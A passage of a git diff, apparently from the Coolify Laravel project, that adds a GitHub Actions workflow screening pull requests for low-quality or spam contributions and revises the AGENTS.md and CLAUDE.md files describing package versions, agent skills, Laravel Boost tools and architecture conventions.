+permissions: + contents: read + issues: read + pull-requests: write + +on: + pull_request_target: + types: [opened, reopened] + +jobs: + pr-quality: + runs-on: ubuntu-latest + steps: + - uses: peakoss/anti-slop@v0 + with: + # General Settings + max-failures: 4 + + # PR Branch Checks + allowed-target-branches: "next" + blocked-target-branches: "" + allowed-source-branches: "" + blocked-source-branches: | + main + master + v4.x + + # PR Quality Checks + max-negative-reactions: 0 + require-maintainer-can-modify: true + + # PR Title Checks + require-conventional-title: true + + # PR Description Checks + require-description: true + max-description-length: 2500 + max-emoji-count: 2 + max-code-references: 5 + require-linked-issue: false + blocked-terms: "STRAWBERRY" + blocked-issue-numbers: 8154 + + # PR Template Checks + require-pr-template: true + strict-pr-template-sections: "Contributor Agreement" + optional-pr-template-sections: "Issues,Preview" + max-additional-pr-template-sections: 2 + + # Commit Message Checks + max-commit-message-length: 500 + require-conventional-commits: false + require-commit-author-match: true + blocked-commit-authors: "" + + # File Checks + allowed-file-extensions: "" + allowed-paths: "" + blocked-paths: | + README.md + SECURITY.md + LICENSE + CODE_OF_CONDUCT.md + templates/service-templates-latest.json + templates/service-templates.json + require-final-newline: true + max-added-comments: 10 + + # User Checks + detect-spam-usernames: true + min-account-age: 30 + max-daily-forks: 7 + min-profile-completeness: 4 + + # Merge Checks + min-repo-merged-prs: 0 + min-repo-merge-ratio: 0 + min-global-merge-ratio: 30 + global-merge-ratio-exclude-own: false + + # Exemptions + exempt-draft-prs: false + exempt-bots: | + actions-user + dependabot[bot] + renovate[bot] + github-actions[bot] + exempt-users: "" + exempt-author-association: "OWNER,MEMBER,COLLABORATOR" + exempt-label: "quality/exempt" + exempt-pr-label: "" + exempt-all-milestones: false + exempt-all-pr-milestones: false + exempt-milestones: "" + exempt-pr-milestones: "" + + # PR Success Actions + success-add-pr-labels: "quality/verified" + + # PR Failure Actions + failure-remove-pr-labels: "" + failure-remove-all-pr-labels: true + failure-add-pr-labels: "quality/rejected" + failure-pr-message: "This PR did not pass quality checks so it will be closed. If you believe this is a mistake please let us know." + close-pr: true + lock-pr: false diff --git a/AGENTS.md b/AGENTS.md index 162c23842..3fff0074e 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -9,14 +9,17 @@ ## Foundational Context This application is a Laravel application and its main Laravel ecosystems package & versions are below. You are an expert with them all. Ensure you abide by these specific packages & versions. -- php - 8.4.1 +- php - 8.5 - laravel/fortify (FORTIFY) - v1 - laravel/framework (LARAVEL) - v12 - laravel/horizon (HORIZON) - v5 +- laravel/nightwatch (NIGHTWATCH) - v1 +- laravel/pail (PAIL) - v1 - laravel/prompts (PROMPTS) - v0 - laravel/sanctum (SANCTUM) - v4 - laravel/socialite (SOCIALITE) - v5 - livewire/livewire (LIVEWIRE) - v3 +- laravel/boost (BOOST) - v2 - laravel/dusk (DUSK) - v8 - laravel/mcp (MCP) - v0 - laravel/pint (PINT) - v1 @@ -32,11 +35,15 @@ ## Skills Activation This project has domain-specific skills available. You MUST activate the relevant skill whenever you work in that domain—don't wait until you're stuck. -- `livewire-development` — Develops reactive Livewire 3 components. Activates when creating, updating, or modifying Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives; adding real-time updates, loading states, or reactivity; debugging component behavior; writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI. -- `pest-testing` — Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature tests, adding assertions, testing Livewire components, browser testing, debugging test failures, working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion, coverage, or needs to verify functionality works. -- `tailwindcss-development` — Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components, working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors, typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle, hero section, cards, buttons, or any visual/UI changes. -- `developing-with-fortify` — Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications. -- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application. +- `laravel-best-practices` — Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns. +- `configuring-horizon` — Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching. +- `socialite-development` — Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication. +- `livewire-development` — Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire. +- `pest-testing` — Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code. +- `tailwindcss-development` — Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS. +- `fortify-development` — ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features. +- `laravel-actions` — Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring. +- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application. ## Conventions @@ -69,76 +76,51 @@ ## Replies # Laravel Boost -- Laravel Boost is an MCP server that comes with powerful tools designed specifically for this application. Use them. +## Tools + +- Laravel Boost is an MCP server with tools designed specifically for this application. Prefer Boost tools over manual alternatives like shell commands or file reads. +- Use `database-query` to run read-only queries against the database instead of writing raw SQL in tinker. +- Use `database-schema` to inspect table structure before writing migrations or models. +- Use `get-absolute-url` to resolve the correct scheme, domain, and port for project URLs. Always use this before sharing a URL with the user. +- Use `browser-logs` to read browser logs, errors, and exceptions. Only recent logs are useful, ignore old entries. + +## Searching Documentation (IMPORTANT) + +- Always use `search-docs` before making code changes. Do not skip this step. It returns version-specific docs based on installed packages automatically. +- Pass a `packages` array to scope results when you know which packages are relevant. +- Use multiple broad, topic-based queries: `['rate limiting', 'routing rate limiting', 'routing']`. Expect the most relevant results first. +- Do not add package names to queries because package info is already shared. Use `test resource table`, not `filament 4 test resource table`. + +### Search Syntax + +1. Use words for auto-stemmed AND logic: `rate limit` matches both "rate" AND "limit". +2. Use `"quoted phrases"` for exact position matching: `"infinite scroll"` requires adjacent words in order. +3. Combine words and phrases for mixed queries: `middleware "rate limit"`. +4. Use multiple queries for OR logic: `queries=["authentication", "middleware"]`. ## Artisan -- Use the `list-artisan-commands` tool when you need to call an Artisan command to double-check the available parameters. +- Run Artisan commands directly via the command line (e.g., `php artisan route:list`). Use `php artisan list` to discover available commands and `php artisan [command] --help` to check parameters. +- Inspect routes with `php artisan route:list`. Filter with: `--method=GET`, `--name=users`, `--path=api`, `--except-vendor`, `--only-vendor`. +- Read configuration values using dot notation: `php artisan config:show app.name`, `php artisan config:show database.default`. Or read config files directly from the `config/` directory. +- To check environment variables, read the `.env` file directly. -## URLs +## Tinker -- Whenever you share a project URL with the user, you should use the `get-absolute-url` tool to ensure you're using the correct scheme, domain/IP, and port. - -## Tinker / Debugging - -- You should use the `tinker` tool when you need to execute PHP to debug code or query Eloquent models directly. -- Use the `database-query` tool when you only need to read from the database. - -## Reading Browser Logs With the `browser-logs` Tool - -- You can read browser logs, errors, and exceptions using the `browser-logs` tool from Boost. -- Only recent browser logs will be useful - ignore old logs. - -## Searching Documentation (Critically Important) - -- Boost comes with a powerful `search-docs` tool you should use before trying other approaches when working with Laravel or Laravel ecosystem packages. This tool automatically passes a list of installed packages and their versions to the remote Boost API, so it returns only version-specific documentation for the user's circumstance. You should pass an array of packages to filter on if you know you need docs for particular packages. -- Search the documentation before making code changes to ensure we are taking the correct approach. -- Use multiple, broad, simple, topic-based queries at once. For example: `['rate limiting', 'routing rate limiting', 'routing']`. The most relevant results will be returned first. -- Do not add package names to queries; package information is already shared. For example, use `test resource table`, not `filament 4 test resource table`. - -### Available Search Syntax - -1. Simple Word Searches with auto-stemming - query=authentication - finds 'authenticate' and 'auth'. -2. Multiple Words (AND Logic) - query=rate limit - finds knowledge containing both "rate" AND "limit". -3. Quoted Phrases (Exact Position) - query="infinite scroll" - words must be adjacent and in that order. -4. Mixed Queries - query=middleware "rate limit" - "middleware" AND exact phrase "rate limit". -5. Multiple Queries - queries=["authentication", "middleware"] - ANY of these terms. +- Execute PHP in app context for debugging and testing code. Do not create models without user approval, prefer tests with factories instead. Prefer existing Artisan commands over custom tinker code. +- Always use single quotes to prevent shell expansion: `php artisan tinker --execute 'Your::code();'` + - Double quotes for PHP strings inside: `php artisan tinker --execute 'User::where("active", true)->count();'` === php rules === # PHP - Always use curly braces for control structures, even for single-line bodies. - -## Constructors - -- Use PHP 8 constructor property promotion in `__construct()`. - - public function __construct(public GitHub $github) { } -- Do not allow empty `__construct()` methods with zero parameters unless the constructor is private. - -## Type Declarations - -- Always use explicit return type declarations for methods and functions. -- Use appropriate PHP type hints for method parameters. - - -protected function isAccessible(User $user, ?string $path = null): bool -{ - ... -} - - -## Enums - -- Typically, keys in an Enum should be TitleCase. For example: `FavoritePerson`, `BestLake`, `Monthly`. - -## Comments - -- Prefer PHPDoc blocks over inline comments. Never use comments within the code itself unless the logic is exceptionally complex. - -## PHPDoc Blocks - -- Add useful array shape type definitions when appropriate. +- Use PHP 8 constructor property promotion: `public function __construct(public GitHub $github) { }`. Do not leave empty zero-parameter `__construct()` methods unless the constructor is private. +- Use explicit return type declarations and type hints for all method parameters: `function isAccessible(User $user, ?string $path = null): bool` +- Use TitleCase for Enum keys: `FavoritePerson`, `BestLake`, `Monthly`. +- Prefer PHPDoc blocks over inline comments. Only add inline comments for exceptionally complex logic. +- Use array shape type definitions in PHPDoc blocks. === tests rules === @@ -151,47 +133,22 @@ # Test Enforcement # Do Things the Laravel Way -- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using the `list-artisan-commands` tool. +- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using `php artisan list` and check their parameters with `php artisan [command] --help`. - If you're creating a generic PHP class, use `php artisan make:class`. - Pass `--no-interaction` to all Artisan commands to ensure they work without user input. You should also pass the correct `--options` to ensure correct behavior. -## Database - -- Always use proper Eloquent relationship methods with return type hints. Prefer relationship methods over raw queries or manual joins. -- Use Eloquent models and relationships before suggesting raw database queries. -- Avoid `DB::`; prefer `Model::query()`. Generate code that leverages Laravel's ORM capabilities rather than bypassing them. -- Generate code that prevents N+1 query problems by using eager loading. -- Use Laravel's query builder for very complex database operations. - ### Model Creation -- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `list-artisan-commands` to check the available options to `php artisan make:model`. +- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `php artisan make:model --help` to check the available options. -### APIs & Eloquent Resources +## APIs & Eloquent Resources - For APIs, default to using Eloquent API Resources and API versioning unless existing API routes do not, then you should follow existing application convention. -## Controllers & Validation - -- Always create Form Request classes for validation rather than inline validation in controllers. Include both validation rules and custom error messages. -- Check sibling Form Requests to see if the application uses array or string based validation rules. - -## Authentication & Authorization - -- Use Laravel's built-in authentication and authorization features (gates, policies, Sanctum, etc.). - ## URL Generation - When generating links to other pages, prefer named routes and the `route()` function. -## Queues - -- Use queued jobs for time-consuming operations with the `ShouldQueue` interface. - -## Configuration - -- Use environment variables only in configuration files - never use the `env()` function directly outside of config files. Always use `config('app.name')`, not `env('APP_NAME')`. - ## Testing - When creating models for tests, use the factories for the models. Check if the factory has custom states that can be used before manually setting up the model. @@ -232,16 +189,15 @@ ### Models # Livewire -- Livewire allows you to build dynamic, reactive interfaces using only PHP — no JavaScript required. -- Instead of writing frontend code in JavaScript frameworks, you use Alpine.js to build the UI when client-side interactions are required. -- State lives on the server; the UI reflects it. Validate and authorize in actions (they're like HTTP requests). -- IMPORTANT: Activate `livewire-development` every time you're working with Livewire-related tasks. +- Livewire allow to build dynamic, reactive interfaces in PHP without writing JavaScript. +- You can use Alpine.js for client-side interactions instead of JavaScript frameworks. +- Keep state server-side so the UI reflects it. Validate and authorize in actions as you would in HTTP requests. === pint/core rules === # Laravel Pint Code Formatter -- You must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style. +- If you have modified any PHP files, you must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style. - Do not run `vendor/bin/pint --test --format agent`, simply run `vendor/bin/pint --format agent` to fix any formatting issues. === pest/core rules === @@ -251,22 +207,5 @@ ## Pest - This project uses Pest for testing. Create tests: `php artisan make:test --pest {name}`. - Run tests: `php artisan test --compact` or filter: `php artisan test --compact --filter=testName`. - Do NOT delete tests without approval. -- CRITICAL: ALWAYS use `search-docs` tool for version-specific Pest documentation and updated code examples. -- IMPORTANT: Activate `pest-testing` every time you're working with a Pest or testing-related task. -=== tailwindcss/core rules === - -# Tailwind CSS - -- Always use existing Tailwind conventions; check project patterns before adding new ones. -- IMPORTANT: Always use `search-docs` tool for version-specific Tailwind CSS documentation and updated code examples. Never rely on training data. -- IMPORTANT: Activate `tailwindcss-development` every time you're working with a Tailwind CSS or styling-related task. - -=== laravel/fortify rules === - -# Laravel Fortify - -- Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications. -- IMPORTANT: Always use the `search-docs` tool for detailed Laravel Fortify patterns and documentation. -- IMPORTANT: Activate `developing-with-fortify` skill when working with Fortify authentication features. diff --git a/CLAUDE.md b/CLAUDE.md index 8e398586b..bb65da405 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -37,14 +37,33 @@ # Frontend ## Architecture ### Backend Structure (app/) -- **Actions/** — Domain actions organized by area (Application, Database, Docker, Proxy, Server, Service, Shared, Stripe, User). Uses `lorisleiva/laravel-actions`. -- **Livewire/** — All UI components (Livewire 3). Pages organized by domain: Server, Project, Settings, Notifications, etc. This is the primary UI layer — no traditional Blade controllers. -- **Jobs/** — Queue jobs for deployments (`ApplicationDeploymentJob`), backups, Docker cleanup, server management, proxy configuration. -- **Models/** — Eloquent models. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.). -- **Services/** — Business logic services. -- **Helpers/** — Global helper functions loaded via `bootstrap/includeHelpers.php`. -- **Data/** — Spatie Laravel Data DTOs. -- **Enums/** — PHP enums (TitleCase keys). +- **Actions/** — Domain actions organized by area (Application, Database, Docker, Proxy, Server, Service, Shared, Stripe, User, CoolifyTask, Fortify). Uses `lorisleiva/laravel-actions` with `AsAction` trait — actions can be called as objects, dispatched as jobs, or used as controllers. +- **Livewire/** — All UI components (Livewire 3). Pages organized by domain: Server, Project, Settings, Security, Notifications, Terminal, Subscription, SharedVariables. This is the primary UI layer — no traditional Blade controllers. Components listen to private team channels for real-time status updates via Soketi. +- **Jobs/** — Queue jobs for deployments (`ApplicationDeploymentJob`), backups, Docker cleanup, server management, proxy configuration. Uses Redis queue with Horizon for monitoring. +- **Models/** — Eloquent models extending `BaseModel` which provides auto-CUID2 UUID generation. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.). Common traits: `HasConfiguration`, `HasMetrics`, `HasSafeStringAttribute`, `ClearsGlobalSearchCache`. +- **Services/** — Business logic services (ConfigurationGenerator, DockerImageParser, ContainerStatusAggregator, HetznerService, etc.). Use Services for complex orchestration; use Actions for single-purpose domain operations. +- **Helpers/** — Global helpers loaded via `bootstrap/includeHelpers.php` from `bootstrap/helpers/` — organized into `shared.php`, `constants.php`, `versions.php`, `subscriptions.php`, `domains.php`, `docker.php`, `services.php`, `github.php`, `proxy.php`, `notifications.php`. +- **Data/** — Spatie Laravel Data DTOs (e.g., `ServerMetadata`). +- **Enums/** — PHP enums (TitleCase keys). Key enums: `ProcessStatus`, `Role` (MEMBER/ADMIN/OWNER with rank comparison), `BuildPackTypes`, `ProxyTypes`, `ContainerStatusTypes`. +- **Rules/** — Custom validation rules (`ValidGitRepositoryUrl`, `ValidServerIp`, `ValidHostname`, `DockerImageFormat`, etc.). + +### API Layer +- REST API at `/api/v1/` with OpenAPI 3.0 attributes (`use OpenApi\Attributes as OA`) for auto-generated docs +- Authentication via Laravel Sanctum with custom `ApiAbility` middleware for token abilities (read, write, deploy) +- `ApiSensitiveData` middleware masks sensitive fields (IDs, credentials) in responses +- API controllers in `app/Http/Controllers/Api/` use inline `Validator` (not Form Request classes) +- Response serialization via `serializeApiResponse()` helper + +### Authorization +- Policy-based authorization with ~15 model-to-policy mappings in `AuthServiceProvider` +- Custom gates: `createAnyResource`, `canAccessTerminal` +- Role hierarchy: `Role::MEMBER` (1) < `Role::ADMIN` (2) < `Role::OWNER` (3) with `lt()`/`gt()` comparison methods +- Multi-tenancy via Teams — team auto-initializes notification settings on creation + +### Event Broadcasting +- Soketi WebSocket server for real-time updates (ports 6001-6002 in dev) +- Status change events: `ApplicationStatusChanged`, `ServiceStatusChanged`, `DatabaseStatusChanged`, `ProxyStatusChanged` +- Livewire components subscribe to private team channels via `getListeners()` ### Key Domain Concepts - **Server** — A managed host connected via SSH. Has settings, proxy config, and destinations. @@ -61,7 +80,7 @@ ### Frontend - Vite for asset bundling ### Laravel 10 Structure (NOT Laravel 11+ slim structure) -- Middleware in `app/Http/Middleware/` +- Middleware in `app/Http/Middleware/` — custom middleware includes `CheckForcePasswordReset`, `DecideWhatToDoWithUser`, `ApiAbility`, `ApiSensitiveData` - Kernels: `app/Http/Kernel.php`, `app/Console/Kernel.php` - Exception handler: `app/Exceptions/Handler.php` - Service providers in `app/Providers/` @@ -71,9 +90,9 @@ ## Key Conventions - Use `php artisan make:*` commands with `--no-interaction` to create files - Use Eloquent relationships, avoid `DB::` facade — prefer `Model::query()` - PHP 8.4: constructor property promotion, explicit return types, type hints -- Always create Form Request classes for validation +- Validation uses inline `Validator` facade in controllers/Livewire components and custom rules in `app/Rules/` — not Form Request classes - Run `vendor/bin/pint --dirty --format agent` before finalizing changes -- Every change must have tests — write or update tests, then run them +- Every change must have tests — write or update tests, then run them. For bug fixes, follow TDD: write a failing test first, then fix the bug (see Test Enforcement below) - Check sibling files for conventions before creating new files ## Git Workflow @@ -93,14 +112,17 @@ ## Foundational Context This application is a Laravel application and its main Laravel ecosystems package & versions are below. You are an expert with them all. Ensure you abide by these specific packages & versions. -- php - 8.4.1 +- php - 8.5 - laravel/fortify (FORTIFY) - v1 - laravel/framework (LARAVEL) - v12 - laravel/horizon (HORIZON) - v5 +- laravel/nightwatch (NIGHTWATCH) - v1 +- laravel/pail (PAIL) - v1 - laravel/prompts (PROMPTS) - v0 - laravel/sanctum (SANCTUM) - v4 - laravel/socialite (SOCIALITE) - v5 - livewire/livewire (LIVEWIRE) - v3 +- laravel/boost (BOOST) - v2 - laravel/dusk (DUSK) - v8 - laravel/mcp (MCP) - v0 - laravel/pint (PINT) - v1 @@ -116,11 +138,15 @@ ## Skills Activation This project has domain-specific skills available. You MUST activate the relevant skill whenever you work in that domain—don't wait until you're stuck. -- `livewire-development` — Develops reactive Livewire 3 components. Activates when creating, updating, or modifying Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives; adding real-time updates, loading states, or reactivity; debugging component behavior; writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI. -- `pest-testing` — Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature tests, adding assertions, testing Livewire components, browser testing, debugging test failures, working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion, coverage, or needs to verify functionality works. -- `tailwindcss-development` — Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components, working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors, typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle, hero section, cards, buttons, or any visual/UI changes. -- `developing-with-fortify` — Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications. -- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application. +- `laravel-best-practices` — Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns. +- `configuring-horizon` — Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching. +- `socialite-development` — Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication. +- `livewire-development` — Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire. +- `pest-testing` — Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code. +- `tailwindcss-development` — Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS. +- `fortify-development` — ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features. +- `laravel-actions` — Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring. +- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application. ## Conventions @@ -153,76 +179,51 @@ ## Replies # Laravel Boost -- Laravel Boost is an MCP server that comes with powerful tools designed specifically for this application. Use them. +## Tools + +- Laravel Boost is an MCP server with tools designed specifically for this application. Prefer Boost tools over manual alternatives like shell commands or file reads. +- Use `database-query` to run read-only queries against the database instead of writing raw SQL in tinker. +- Use `database-schema` to inspect table structure before writing migrations or models. +- Use `get-absolute-url` to resolve the correct scheme, domain, and port for project URLs. Always use this before sharing a URL with the user. +- Use `browser-logs` to read browser logs, errors, and exceptions. Only recent logs are useful, ignore old entries. + +## Searching Documentation (IMPORTANT) + +- Always use `search-docs` before making code changes. Do not skip this step. It returns version-specific docs based on installed packages automatically. +- Pass a `packages` array to scope results when you know which packages are relevant. +- Use multiple broad, topic-based queries: `['rate limiting', 'routing rate limiting', 'routing']`. Expect the most relevant results first. +- Do not add package names to queries because package info is already shared. Use `test resource table`, not `filament 4 test resource table`. + +### Search Syntax + +1. Use words for auto-stemmed AND logic: `rate limit` matches both "rate" AND "limit". +2. Use `"quoted phrases"` for exact position matching: `"infinite scroll"` requires adjacent words in order. +3. Combine words and phrases for mixed queries: `middleware "rate limit"`. +4. Use multiple queries for OR logic: `queries=["authentication", "middleware"]`. ## Artisan -- Use the `list-artisan-commands` tool when you need to call an Artisan command to double-check the available parameters. +- Run Artisan commands directly via the command line (e.g., `php artisan route:list`). Use `php artisan list` to discover available commands and `php artisan [command] --help` to check parameters. +- Inspect routes with `php artisan route:list`. Filter with: `--method=GET`, `--name=users`, `--path=api`, `--except-vendor`, `--only-vendor`. +- Read configuration values using dot notation: `php artisan config:show app.name`, `php artisan config:show database.default`. Or read config files directly from the `config/` directory. +- To check environment variables, read the `.env` file directly. -## URLs +## Tinker -- Whenever you share a project URL with the user, you should use the `get-absolute-url` tool to ensure you're using the correct scheme, domain/IP, and port. - -## Tinker / Debugging - -- You should use the `tinker` tool when you need to execute PHP to debug code or query Eloquent models directly. -- Use the `database-query` tool when you only need to read from the database. - -## Reading Browser Logs With the `browser-logs` Tool - -- You can read browser logs, errors, and exceptions using the `browser-logs` tool from Boost. -- Only recent browser logs will be useful - ignore old logs. - -## Searching Documentation (Critically Important) - -- Boost comes with a powerful `search-docs` tool you should use before trying other approaches when working with Laravel or Laravel ecosystem packages. This tool automatically passes a list of installed packages and their versions to the remote Boost API, so it returns only version-specific documentation for the user's circumstance. You should pass an array of packages to filter on if you know you need docs for particular packages. -- Search the documentation before making code changes to ensure we are taking the correct approach. -- Use multiple, broad, simple, topic-based queries at once. For example: `['rate limiting', 'routing rate limiting', 'routing']`. The most relevant results will be returned first. -- Do not add package names to queries; package information is already shared. For example, use `test resource table`, not `filament 4 test resource table`. - -### Available Search Syntax - -1. Simple Word Searches with auto-stemming - query=authentication - finds 'authenticate' and 'auth'. -2. Multiple Words (AND Logic) - query=rate limit - finds knowledge containing both "rate" AND "limit". -3. Quoted Phrases (Exact Position) - query="infinite scroll" - words must be adjacent and in that order. -4. Mixed Queries - query=middleware "rate limit" - "middleware" AND exact phrase 